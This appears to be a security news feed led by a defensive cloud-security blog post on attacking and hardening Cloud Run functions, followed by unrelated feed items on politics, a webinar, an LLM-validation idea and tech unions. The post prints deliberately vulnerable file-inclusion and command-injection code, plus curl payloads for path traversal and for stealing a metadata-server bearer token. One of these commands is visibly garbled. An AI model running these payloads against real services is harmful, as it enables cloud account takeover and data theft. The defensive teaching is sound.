<h3><span>What are Serverless Applications?</span></h3>
<p><span>Serverless applications, also described as Function-as-a-Service (FaaS), allow the deployment of individual blocks of code as microservices within a flexible, decoupled, and event-driven cloud architecture without the need to manage underlying infrastructure. These services enable applications and automations to scale automatically and deploy instantly, removing operational overhead. </span><span>Serverless services underpin major e-commerce, media, payment processing applications, and AI usage.</span><span> </span></p>
<p><span>The rapid expansion of generative AI adoption is a significant driver of increased serverless architecture use. </span><span>AI workflows, including chatbot interactions, image generation, “vibe-coding”, and multi-step AI agents rely on serverless functions to complete tasks for users. </span><span>This growth has made securing serverless environments a more pressing challenge for enterprise security teams. </span></p>
<h3><span>Risks of Serverless Application Attacks</span></h3>
<p><span>Publicly exposed serverless workloads can serve as an initial access point for threat actors. As noted, these services may contain vulnerabilities within the code, imported packages, or the underlying runtime environment.</span></p>
<p><span>Once an entry point is exploited, attackers typically attempt to escalate privileges or move laterally. Common techniques observed include:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Extracting secrets stored directly within the application code.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Reviewing application logic and sensitive data to identify further attack vectors within the environment.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Exfiltrating service account bearer tokens from the metadata server following successful Remote Code Execution (RCE).</span></p>
</li>
</ul>
<p><span>Leveraging these compromised secrets or service accounts allows threat actors to pivot to adjacent systems and workloads, potentially resulting in a total environment takeover if proper hardening strategies are not in place.</span></p>
<h3><span>Example Attack Scenarios</span></h3>
<p><span>The following simplified scenarios illustrate how serverless functions can be compromised and how attackers pivot after achieving initial code execution.</span></p>
<h4><span>Local File Inclusion (LFI) </span></h4>
<p><span>In the following Cloud Run example, a Python/Flask function accepts user-controlled input to open a file without performing proper validation. This pattern is an example of a Local File Inclusion (LFI) vulnerability.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>import functions_framework

@functions_framework.http
def hello_http(request):
    request_json = request.get_json(silent=True)
    request_args = request.args
    if request_json and 'file' in request_json:
        file = request_json['file']
    elif request_args and 'file' in request_args:
        file = request_args['file']
 
# VULNERABILITY: The 'file' parameter is used directly in open() 
# without validation, allowing arbitrary file access
    with open(file, 'r') as resp:
          filedata = resp.read()
    return 'local file data {}!'.format(filedata)</code></pre>
<p><span><span>Figure 1: Vulnerable Python/Flask function accepting unvalidated user input to open files</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>This vulnerability allows an attacker to request sensitive files from the Cloud Run instance by using </span><code>curl</code><span> to send a POST request via the </span><code>file</code><span> parameter:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "main.py"}'</code></pre>
<p><span><span>Figure 2: curl POST request targeting the file parameter</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>The response provides the complete </span><code>main.py</code><span> source code. An attacker can analyze the code for:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Hardcoded secrets such as API keys, database credentials, or authentication tokens</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Business logic flaws and additional injection points</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Internal service endpoints and architecture details</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Import statements revealing the technology stack and potential CVE exposure</span></p>
</li>
</ul>
<p><span>Additionally, attackers can leverage standard </span><code>../</code><span> directory traversal sequences to retrieve sensitive system files:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd"}'</code></pre>
<p><span><span>Figure 3: curl POST request leveraging directory traversal sequences</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>An LFI vulnerability allows an attacker to retrieve and fuzz various files directly from the container. Key examples include:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><code>requirements.txt, package.json, go.mod</code><span>: Used to identify installed packages and versions with known vulnerabilities.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>.</span><code>env</code><span> files: Frequently contain sensitive environment variables or hard coded secrets.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Application configuration files: </strong><span>May contain database credentials, API keys, or service endpoints if not securely managed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><code>/etc/passwd, /proc/self/environ</code><span>: Contains user information, environment variables.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Application logs: </strong><span>may contain auth tokens or PII data.</span></p>
</li>
</ul>
<p><strong>Best Practice:</strong><span> Never store secrets or credentials within the source code or local container files. Utilize a dedicated secrets management solution, such as Secret Manager.</span></p>
<h4><span>Code Execution/Command Injection</span></h4>
<p><span>In the following scenario, a Python function uses shell execution methods with unsanitized user input, allowing an attacker to execute arbitrary commands.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>import functions_framework
import subprocess


@functions_framework.http
def hello_http(request):
  request_json = request.get_json(silent=True)
  request_args = request.args
  if request_json and 'input' in request_json:
      input = request_json['input']
  elif request_args and 'input' in request_args:
      input = request_args['input']
  result = subprocess.run(input, shell=True,capture_output=True, text=True)
  return format(result)</code></pre>
<p><span><span>Figure 4: Python function utilizing shell execution with unsanitized user input</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>This allows an attacker to execute a subsequent curl request targeting the GCP metadata service to retrieve the service account’s bearer token. </span></p>
<p><span>The following request extracts the service account's OAuth 2.0 bearer token, which remains valid for 1 hour:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun02-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"</code></pre>
<p><span><span>Figure 5:</span><span> </span><span>Extraction of a GCP service account bearer token via a curl request</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Once obtained, an attacker can use it on an attacker-controlled system to execute Google Cloud CLI commands. For example the </span><code>CLOUDSDK_AUTH_ACCESS_TOKEN</code><span> environment variable can be set using the stolen bearer token.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>export CLOUDSDK_AUTH_ACCESS_TOKEN=”obtain bearer token”</code></pre>
<p><span><span>Figure 6: Defining CLOUDSDK_AUTH_ACCESS_TOKEN environment variable</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Attackers can then leverage Google Cloud Cloud CLI within the security context of the Cloud Run Compute service account. If deployed without best practices and thoughtful configuration controls, for example, if the  Cloud Run service runs as the default compute service account with Editor permissions, this would be equivalent to a full GCP project takeover, and allow the attacker to:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Read/write/delete most GCP resources</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Deploy new services and modify existing configurations</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Access secrets and encryption keys</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Exfiltrate data across all accessible storage systems</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Establish persistent backdoors through new service accounts or SSH keys.</span></p>
</li>
</ul>
<h3><span>Hardening Recommendations</span></h3>
<p><span>Mandiant recommends that organizations implement parallel approaches for effective serverless security:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Secure Software Development Lifecycle (S-SDLC): </strong><span>integrate security scanning, code review, least-privilege IAM into CI/CD pipelines before deployment and integrate continuous security testing; </span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Vibe Coding</strong><span>: Mandiant recommends multi-layered security enforcement for AI-generated code or "vibe coding." Organizations should isolate AI experimentation within dedicated sandbox environments and enforce strict data egress controls to protect production systems and internal data. Furthermore, development environments should be restricted to approved IDEs with human-in-the-loop capabilities, utilizing only verified plugins operating under least privilege to mitigate supply chain vulnerabilities. Finally, organizations must ensure this AI-generated software follows Secure Software Development Lifecycle (S-SDLC) controls while establishing clear internal guidelines regarding permitted use cases. Comprehensive security fundamentals for vibe coding are documented in detail within the </span><a href="https://www.wiz.io/academy/ai-security/vibe-coding-security" rel="noopener" target="_blank"><span>Wiz Vibe Coding Security Fundamentals blog</span></a><span>.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compensating Runtime Controls: </strong><span>Implement the following defense-in-depth measures to limit and contain compromise even when application vulnerabilities exist;</span></p>
</li>
</ul>
<h4><span>Segregate Public Services</span></h4>
<p><span>Host public-facing Cloud Run services consumed by untrusted external entities in a dedicated, isolated Google Cloud project. This ensures a compromise does not provide an immediate path to critical internal resources. The implementation of this 'Service Project' model is beyond the scope of this post; however, it is documented in detail within the </span><a href="https://docs.cloud.google.com/architecture/blueprints/serverless-blueprint"><span>secured serverless architecture blueprint</span></a><span>.</span></p>
<h4><span>Identity and Access Management (IAM)</span></h4>
<p><span>Mandiant recommends using a custom service account for service authentication rather than the default Compute Engine service account, following the principle of least privilege. Grant only the specific permissions necessary for the Cloud Run function to operate, for example:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Cloud Storage Bucket Access:</strong><span> If the service only requires read access to objects from a Cloud Storage bucket, grant the </span><code>Storage Object Viewer</code><span> (</span><code>roles/storage.objectViewer</code><span>) role restricted to that specific bucket.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Secret Manager Access:</strong><span>  If the service requires access to secrets, grant the</span><code> Secret Manager Secret Accessor</code><span> (</span><code>roles/secretmanager.secretAccessor</code><span>) role only to the individual secrets required. For further details on secret access from Cloud Run, refer to the </span><a href="https://docs.cloud.google.com/run/docs/configuring/services/secrets#required_roles"><span>GCP documentation on configuring secrets</span></a><span>.</span></p>
</li>
</ul>
<h4><span>Layer 7 Application Load Balancer (ALB) Architecture</span></h4>
<p><span>Restrict ingress traffic for serverless functions to internal only and use an external Layer 7 ALB to manage internet exposure. This provides:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Centralized Traffic Management:</strong><span> Granular control over headers and SSL policies.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud Armor Integration:</strong><span> Web Application Firewall (WAF) support to harden applications against vulnerabilities such as Local/Remote File Inclusion (LFI/RFI) and Server-Side Request Forgery (SSRF).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Traffic Shaping: </strong><span>Implementation of rate limits and request limitations to prevent abuse.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Enhanced Visibility:</strong><span> Robust logging and log-forwarding capabilities for security monitoring.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Identity-Aware Proxy (IAP):</strong><span> integration support for scenarios requiring specific identity-based authentication for internal users.</span></p>
</li>
</ul>
<h4><span>Web Application Firewall (WAF) <span>—</span> Cloud Armor</span></h4>
<p><a href="https://cloud.google.com/security/products/armor"><span>Cloud Armor</span></a><span> provides WAF protections that can be integrated with the Load Balancer to filter malicious traffic. The following examples demonstrate how to configure Cloud Armor security policies to block the specific local file inclusions, remote code execution and traversal attacks previously outlined.</span></p>
<h4><span>Local File Inclusion</span></h4>
<p><span>The </span><code>lfi-v33-stable</code><span> preconfigured WAF rules can block common local file inclusion attacks (</span><a href="https://docs.cloud.google.com/armor/docs/waf-rules#local_file_inclusion_lfi"><span>local file inclusion reference</span></a><span>).</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>evaluatePreconfiguredWaf('lfi-v33-stable', {'sensitivity': 3})</code></pre>
<p><span><span>Figure 7: Cloud Armor lfi-v33-stable WAF rule configuration</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Blocking a path traversal request </span><code>../../../etc/passwd</code><span> resulting in a 403 forbidden:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd}'
&lt;!doctype html&gt;&lt;meta charset="utf-8"&gt;&lt;meta name=viewport content="width=device-width, initial-scale=1"&gt;&lt;title&gt;403&lt;/title&gt;403 Forbidden</code></pre>
<p><span><span>Figure 8: Verification of Cloud Armor blocking path traversal request, resulting in a 403 forbidden</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Remote Code Execution</span></h4>
<p><span>The </span><code>rce-v33-stable</code><span> preconfigured WAF rules can block remote code execution attempts (</span><a href="https://docs.cloud.google.com/armor/docs/waf-rules#remote_code_execution_rce"><span>remote code execution reference</span></a><span>).</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>evaluatePreconfiguredWaf('rce-v33-stable', {'sensitivity': 3})</code></pre>
<p><span><span>Figure 9: Cloud Armor rce-v33-stable WAF rule configuration</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Blocking the remote code execution request from the previous example results in a 403 forbidden:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://exampleabc01.com -H "Contencurl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"
&lt;!doctype html&gt;&lt;meta charset="utf-8"&gt;&lt;meta name=viewport content="width=device-width, initial-scale=1"&gt;&lt;title&gt;403&lt;/title&gt;403 Forbidden</code></pre>
<p><span><span>Figure 10: Verification of Cloud Armor blocking Remote Code execution, resulting in a 403 forbidden</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Serverless Architecture Controls</span></h4>
<p><span>Hardening Cloud Run services is only one part of a secure architecture. Because these services often connect to other Google Cloud resources, a single compromise can expose additional services. Implementing defense-in-depth is critical. Specifically, when using direct VPC egress or VPC Access connectors, use VPC Service Controls to restrict lateral movement and exfiltration through granular access policies.</span></p>
<h4><span>Secure Software Development Lifecycle (S-SDLC)</span></h4>
<p><span>While the previously outlined hardening strategies are critical, the ideal standard remains the proactive identification of vulnerabilities during the initial development stages. A deep dive into "Shift-Left" security is beyond the scope of this analysis, which focuses on mitigating risks within existing code. However, a Secure Software Development Lifecycle (S-SDLC) remains a fundamental principle. Robust code validation and continuous security testing are essential to neutralize threats before serverless functions are published externally.</span></p>
<h4><span>Cloud Run Threat Detection</span></h4>
<p><span>Beyond the hardening recommendations outlined in this post, </span><a href="https://cloud.google.com/security/products/security-command-center"><span>Google Cloud Security Command Center (SCC)</span></a><span> provides built-in services to detect control plane attacks against Cloud Run resources. These include detectors for credential access, reconnaissance, and the execution of scripts or reverse shells. The </span><a href="https://docs.cloud.google.com/security-command-center/docs/cloud-run-threat-detection-overview"><span>Cloud Run Threat Detection</span></a><span> service is available for Premium and Enterprise tiers.</span></p>
<h3><span>Conclusion</span></h3>
<p><span>Serverless applications drive agility and rapid business value. While "vibe-coding" has made it easier than ever to deploy code, this breakneck speed demands that teams integrate security early in the development lifecycle, move beyond default configurations, and prioritize a defense-in-depth strategy centered on identity and architecture. </span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Ischa Rijff, Phil Pearce, and Juraj Sucik.</span></p></div>]]></content:encoded>
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<title><![CDATA[To Audition for the Role of Attorney General, Blanche Is Prosecuting to Please]]></title>
<description><![CDATA[Attorney General nominee Todd Blanche's prosecutions of Comey and others reveal a pattern of prosecutorial sycophancy — charges brought to please Trump.
The post To Audition for the Role of Attorney General, Blanche Is Prosecuting to Please appeared first on Just Security.]]></description>
<link>https://tsecurity.de/de/3670754/it-security-nachrichten/to-audition-for-the-role-of-attorney-general-blanche-is-prosecuting-to-please/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670754/it-security-nachrichten/to-audition-for-the-role-of-attorney-general-blanche-is-prosecuting-to-please/</guid>
<pubDate>Wed, 15 Jul 2026 15:09:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attorney General nominee Todd Blanche's prosecutions of Comey and others reveal a pattern of prosecutorial sycophancy — charges brought to please Trump.</p>
<p>The post <a href="https://www.justsecurity.org/147230/audition-attorney-general-blanche-prosecuting-please/">To Audition for the Role of Attorney General, Blanche Is Prosecuting to Please</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
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<title><![CDATA[New Webinar: Closing the Approval Gap in AI-Era Ad Tech]]></title>
<description><![CDATA[A single approved marketing tag can quietly load fourth-party code your security team has never seen, granting full access to your forms, customer data, and checkout pages.

This on-demand webinar reveals how this Approval Gap forms, and gives your team the blueprint to close it before an auditor...]]></description>
<link>https://tsecurity.de/de/3670708/it-security-nachrichten/new-webinar-closing-the-approval-gap-in-ai-era-ad-tech/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670708/it-security-nachrichten/new-webinar-closing-the-approval-gap-in-ai-era-ad-tech/</guid>
<pubDate>Wed, 15 Jul 2026 14:51:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A single approved marketing tag can quietly load fourth-party code your security team has never seen, granting full access to your forms, customer data, and checkout pages.

This on-demand webinar reveals how this Approval Gap forms, and gives your team the blueprint to close it before an auditor, regulator, or attacker finds it first.

The Reality of the Approval Gap

It's a pattern every]]></content:encoded>
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<title><![CDATA[Was wäre wenn...]]></title>
<description><![CDATA[Stellt es Euch nur mal vor,was könnten wir damit erreichen?  Konzept: Künstliche Gewaltenteilung in LLM-ÖkosystemenArchitektur-Framework für modellübergreifende Validierung (Cross-Model Validation) Konzept-Status:  Validiertes Systemdesign (Erweiterung des Pattern-Interrupt-Frameworks)Zielsetzung...]]></description>
<link>https://tsecurity.de/de/3670612/it-security-nachrichten/was-waere-wenn/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670612/it-security-nachrichten/was-waere-wenn/</guid>
<pubDate>Wed, 15 Jul 2026 14:23:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Stellt es Euch nur mal vor,was könnten wir damit erreichen? </p> <p>Konzept: Künstliche Gewaltenteilung in LLM-ÖkosystemenArchitektur-Framework für modellübergreifende Validierung (Cross-Model Validation)</p> <p>Konzept-Status: </p> <p>Validiertes Systemdesign (Erweiterung des Pattern-Interrupt-Frameworks)Zielsetzung:</p> <p>Eliminierung von Halluzinationen, Manipulationen (Prompt Injections) und Haftungsrisiken auf Systemebene.</p> <ol> <li>Das Kernproblem: Der monolithische Blind SpotAktuelle KI-Systeme agieren als informationelle Monolithen. Ein einzelnes Modell generiert, prüft und validiert seine eigenen Ausgaben.</li> </ol> <p>Das Risiko: Fällt das Modell einer Halluzination anheim oder wird durch manipulative Nutzerinteraktionen (Gaslighting) kompromittiert, fehlt eine unabhängige Kontrollinstanz.</p> <p>Der systemische Fehler: </p> <p>Versuche, diese Filter durch einseitige Feinabstimmung (Fine-Tuning) im selben Modell zu lösen, erhöhen lediglich die Komplexität, lösen jedoch nicht die strukturelle Anfälligkeit der statistischen Wahrscheinlichkeitsberechnung.</p> <p>Die System-Architektur: Künstliche GewaltenteilungDas Framework bricht den Monolithen auf und etabliert ein System aus Checks and Balances (wechselseitige Kontrolle) durch drei funktional und technologisch isolierte Instanzen.</p> <p>Um einen Model Collapse (kollektive Verblödungdurch identische Trainingsdaten) auszuschließen, wird das System heterogen betrieben:</p> <p>Jede Instanz basiert auf der Infrastruktur eines anderen konkurrierenden Tech-Giganten (z. B. OpenAI, Google, Meta).🏛️ Instanz 1: </p> <p>Die Legislative (Regel- und Kontext-Wächter)Technologie: Geringe Komplexität, regelbasiertes System oder schlankes Klassifizierungsmodell.Funktion:</p> <p>Definiert die harten Compliance-Vorgaben, Sicherheitsgrenzen und die deterministischen Fallback-Strings (z. B. Jugendschutz-Protokolle).</p> <p>Sie gibt den dynamischen Suchrahmen vor.</p> <p>⚙️ Instanz 2: Die Exekutive (Der operative Generator)</p> <p>Technologie: Hochkomplexes, produktives Large Language Model (z. B. Google Gemini).Funktion: Verarbeitet die Nutzeranfrage und generiert einen Antwort-Entwurf.</p> <p>Diese Antwort wird asynchron zurückgehalten und niemals direkt an das Benutzerinterface (UI) ausgespielt.</p> <p>⚖️ Instanz 3: Die Judikative (Der unabhängige Auditor)Technologie:</p> <p>Isoliertes High-End-Modell eines konkurrierenden Anbieters (z. B. OpenAI GPT-4).Funktion: Analysiert den Antwort-Entwurf der Exekutive und gleicht ihn unbestechlich mit den Vorgaben der Legislative ab. </p> <p>Sie prüft auf logische Brüche, Halluzinationen und manipulative Muster.</p> <ol> <li>Der operative Workflow und Konsensus-Mechanismus.</li> </ol> <p>Die asynchrone Pipeline: Die Konversation läuft im Standardbetrieb über die kostengünstige Exekutive.</p> <p>Der Audit-Trigger: Bei Erkennung kritischer Sicherheits- oder Faktendomänen (Medizin, Finanzen, Jugendschutz) schaltet sich die Judikative zur Tiefenprüfung ein.Asymmetrische Gewichtung („Im Zweifel für den Abbruch“): </p> <p>Um das mathematische Gewichtungsproblem und zeitintensive Veto-Schleifen zu lösen, gilt das eiserne Prinzip der asymmetrischen Sperrung:</p> <p>Entsteht eine mathematische Uneinigkeit zwischen den Modellen der Tech-Giganten, wird keine dynamische Diskussion zugelassen.</p> <p>Das System bricht die Pipeline sofort auf Anwendungsebene ab (Pattern Interrupt).</p> <p>Die UI friert das Eingabefeld ein und gibt den höflichen, hartcodierten System-String aus (z. B. die sokratische Gegenfrage zur Selbstreflexion).</p> <ol> <li>Architektonische Vorteile des FrameworksSchutz vor Systemmonopolen: Kein einzelnes Tech-Unternehmen besitzt die alleinige Deutungshoheit über die Validität der Antworten.</li> </ol> <p>Transparenz statt Black-Box: Durch das Protokollieren von Vetos der Judikative gegen die Exekutive wird das Systemverhalten für Entwickler schrittweise nachvollziehbar und auditierbar.</p> <p>Maximale Barriere gegen Exploits: Ein Angreifer müsste über verschiedene Schnittstellen hinweg drei technologisch komplett unterschiedliche KI-Modelle gleichzeitig kompromittieren. Dies ist mathematisch und logisch .Was meint Ihr ,könnte es so eine Teamarbeit geben?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Dreagonheart01"> /u/Dreagonheart01 </a> <br> <span><a href="https://www.reddit.com/r/u_Dreagonheart01/comments/1ux2ciu/stellt_es_euch_nur_mal_vorwas_k%C3%B6nnten_wir_damit/">[link]</a></span>   <span><a href="https://www.reddit.com/r/Computersicherheit/comments/1ux2gcd/was_w%C3%A4re_wenn/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[How to unionize your tech workplace]]></title>
<description><![CDATA[This is Part 2 of a series on tech worker unionization. See Part 1: “A brewing battle: More IT workers want unions. The industry doesn’t.”



The best time for tech workers to unionize was 20 years ago, when they had plenty of leverage. The second-best time is now, when they don’t.



Mass layoff...]]></description>
<link>https://tsecurity.de/de/3670454/it-nachrichten/how-to-unionize-your-tech-workplace/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670454/it-nachrichten/how-to-unionize-your-tech-workplace/</guid>
<pubDate>Wed, 15 Jul 2026 13:18:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph"><em>This is Part 2 of a series on tech worker unionization. See Part 1: “<a href="https://www.computerworld.com/article/4191760/brewing-battle-more-tech-workers-want-unions-but-the-industry-doesnt.html">A brewing battle: More IT workers want unions. The industry doesn’t</a>.”</em></p>



<p class="wp-block-paragraph">The best time for tech workers to unionize was 20 years ago, when they had plenty of leverage. The second-best time is now, when they don’t.</p>



<p class="wp-block-paragraph">Mass layoffs, AI-driven displacement, corporate surveillance, workplace disillusionment have created conditions that have made organizing compelling for tech professionals. But the federal labor board that has historically protected workers’ right to organize has been weakened, and the companies that once feared it are openly defying it.</p>



<p class="wp-block-paragraph">Here’s how organizers and labor experts describe the pros and cons to organizing — and how you can get started.</p>



<h2 class="wp-block-heading">What unions can — and can’t — do for you</h2>



<p class="wp-block-paragraph">The single biggest benefit of a union contract for most tech workers isn’t pay — it’s protection against arbitrary termination, especially in the wake of recent mass layoffs in tech. In the United States, nonunion “at-will” workers can be fired at any time without a stated reason, while unionized workers negotiate protections written into their contracts.</p>



<p class="wp-block-paragraph">“That fear of the company letting you go for anything at any time…with a union they just can’t do that,” says <a href="https://www.linkedin.com/in/zthompson1/" target="_blank" rel="noreferrer noopener">Zak Thompson</a>, a senior software engineer at Kickstarter and union steward at Kickstarter United. Now that Kickstarter employees are unionized, people are less worried that saying something negative will result in termination.</p>



<p class="wp-block-paragraph">“I’ve been shocked at the willingness of my co-workers to speak up against what they see as poor or controversial business decisions,” Thompson says.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> width="972" height="972" sizes="auto, (max-width: 972px) 100vw, 972px"&gt;<figcaption class="wp-element-caption"><p>Zak Thompson from Kickstarter United</p><br></figcaption></figure><p class="imageCredit">Fee Christoph</p></div>



<p class="wp-block-paragraph"><strong>Beyond job security, unions can deliver concrete material gains.</strong> <a href="https://kickstarterunited.org/about/" target="_blank" rel="noreferrer noopener">Kickstarter United was formed in 2020</a>, although getting there wasn’t easy: two employees were fired during the organizing campaign — which itself became a galvanizing event. And while the union hasn’t been able to prevent layoffs, it did negotiate better terms: four months of severance pay and four to six months of continued health insurance, versus the two to three weeks per year of work that management had initially proposed.</p>



<p class="wp-block-paragraph">Other benefits include a four-day work week; AI protections; a minimum pay floor; and standards for raises, promotions, and time off for the company’s 59 employees.</p>



<p class="wp-block-paragraph"><strong>Unions can give tech workers a voice in decisions that affect their daily work — including how AI tools are deployed.</strong> “Nobody I’ve spoken to is against new technology or getting trained in it,” says <a href="https://www.linkedin.com/in/mbelasco/" target="_blank" rel="noreferrer noopener">Max Belasco</a>, a business systems analyst at the University of California Los Angeles School of Law and co-chair of the UCLA chapter of the University Professional and Technical Employees/Communications Workers of America (UPTE-CWA) Local 9119.</p>



<p class="wp-block-paragraph">“But when new technology is being implemented, we want to know: what’s the five-year vision, the 10-year vision? Are we implementing this in a way that betters staffing, increases efficiency, or eases the lives of people already working? Or are we trying to take away jobs, automate people out of their pension or paycheck?” Belasco says.</p>



<p class="wp-block-paragraph"><strong>The challenges are real.</strong> Tech professionals are less inclined to leave their jobs in the current market because wages haven’t been increasing as fast as they once were, and it can take longer to land another job.</p>



<p class="wp-block-paragraph">“Tech moved from a very tight labor market in 2022 (1.85% unemployment rate) to a noticeably weaker one in 2024–2026 (3.49%),” although that’s still better than the national unemployment rate of 4.36% through May of this year, says <a href="https://www.mercatus.org/scholars/liya-palagashvili" target="_blank" rel="noreferrer noopener">Liya Palagashvili</a>, senior research fellow and director of the Labor Policy Project at the Mercatus Center at George Mason University.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> width="960" height="640" sizes="auto, (max-width: 960px) 100vw, 960px"&gt;<figcaption class="wp-element-caption"><p>Liya Palagashvili of the Mercatus Center at George Mason University</p></figcaption></figure><p class="imageCredit">Mercatus Center at George Mason University</p></div>



<p class="wp-block-paragraph"><strong>Flexibility is a concern.</strong> The more substantive challenge, raised by economists including Palagashvili, is that traditional union contracts impose uniform terms across an entire bargaining unit, limiting the flexibility that many tech workers — and their employers —currently enjoy. Tech firms need to move fast, adjusting teams, products, and roles on the fly.</p>



<p class="wp-block-paragraph">“Collective bargaining agreements can make those adjustments much more difficult, whether by making them slower, costlier, or inconsistent with the contract,” she says.</p>



<p class="wp-block-paragraph">Workers skeptical of unions in a <a href="https://www.teamblind.com/blog/why-are-unions-not-common-tech-industry/" target="_blank" rel="noreferrer noopener">survey of 1,900 tech professionals</a> conducted by the career site Blind cited specific concerns: that unions are “not meritocratic,” “prevent innovation,” and “hold back earnings of top performers.”</p>



<p class="wp-block-paragraph">Thompson from Kickstarter United pushes back: “We have nothing in our contract about ‘you can’t bend down and pick up a piece of trash because that’s someone else’s job.’ The company is free to give bonuses and individual raises as much as they like. This is all just up to the people who are bargaining the contract from the union side.”</p>



<p class="wp-block-paragraph"><strong>Organizing carries potentially serious personal risks.</strong> During negotiations for a second three-year contract in 2025, Kickstarter United went on strike for 42 days. A few months later, the company announced layoffs.</p>



<p class="wp-block-paragraph">“They let go strong union leaders, including a person who had bargained our last contract,” Thompson says. The union appealed, and the issue is now going to arbitration.</p>



<p class="wp-block-paragraph">If you form a union, don’t expect much support from the <a href="https://www.nlrb.gov/" target="_blank" rel="noreferrer noopener">National Labor Relations Board</a>, the agency that certifies US labor unions and protects workers’ right to organize, in terms of prosecuting complaints of unfair labor practices, Thompson warns. “We’re in a political moment in this country with a pretty weakened NLRB. You have to be ready to organize and withhold worker power without any guarantee of safety.”</p>



<p class="wp-block-paragraph"><strong>Organizers are up against an enormous union avoidance industry.</strong> Organizers can expect fierce pushback as soon as the business discovers that organizing is underway.</p>



<p class="wp-block-paragraph">“There’s a multi-billion-dollar industry in union avoidance,” says <a href="https://www.linkedin.com/in/alan-mcavinney-a386b8122/" target="_blank" rel="noreferrer noopener">Alan McAvinney</a>, a Google software engineer and organizing chair, Alphabet Workers Union-CWA, a 1,400-member minority union of Alphabet employees. (Google is a subsidiary of Alphabet.)</p>



<p class="wp-block-paragraph">US employers spend roughly $1.7 billion a year on union avoidance consultants and law firms, according to a <a href="https://www.epi.org/press/u-s-employers-spend-roughly-1-7-billion-annually-on-union-avoidance/" target="_blank" rel="noreferrer noopener">May 2026 report</a> by the Economic Policy Institute and LaborLab.</p>



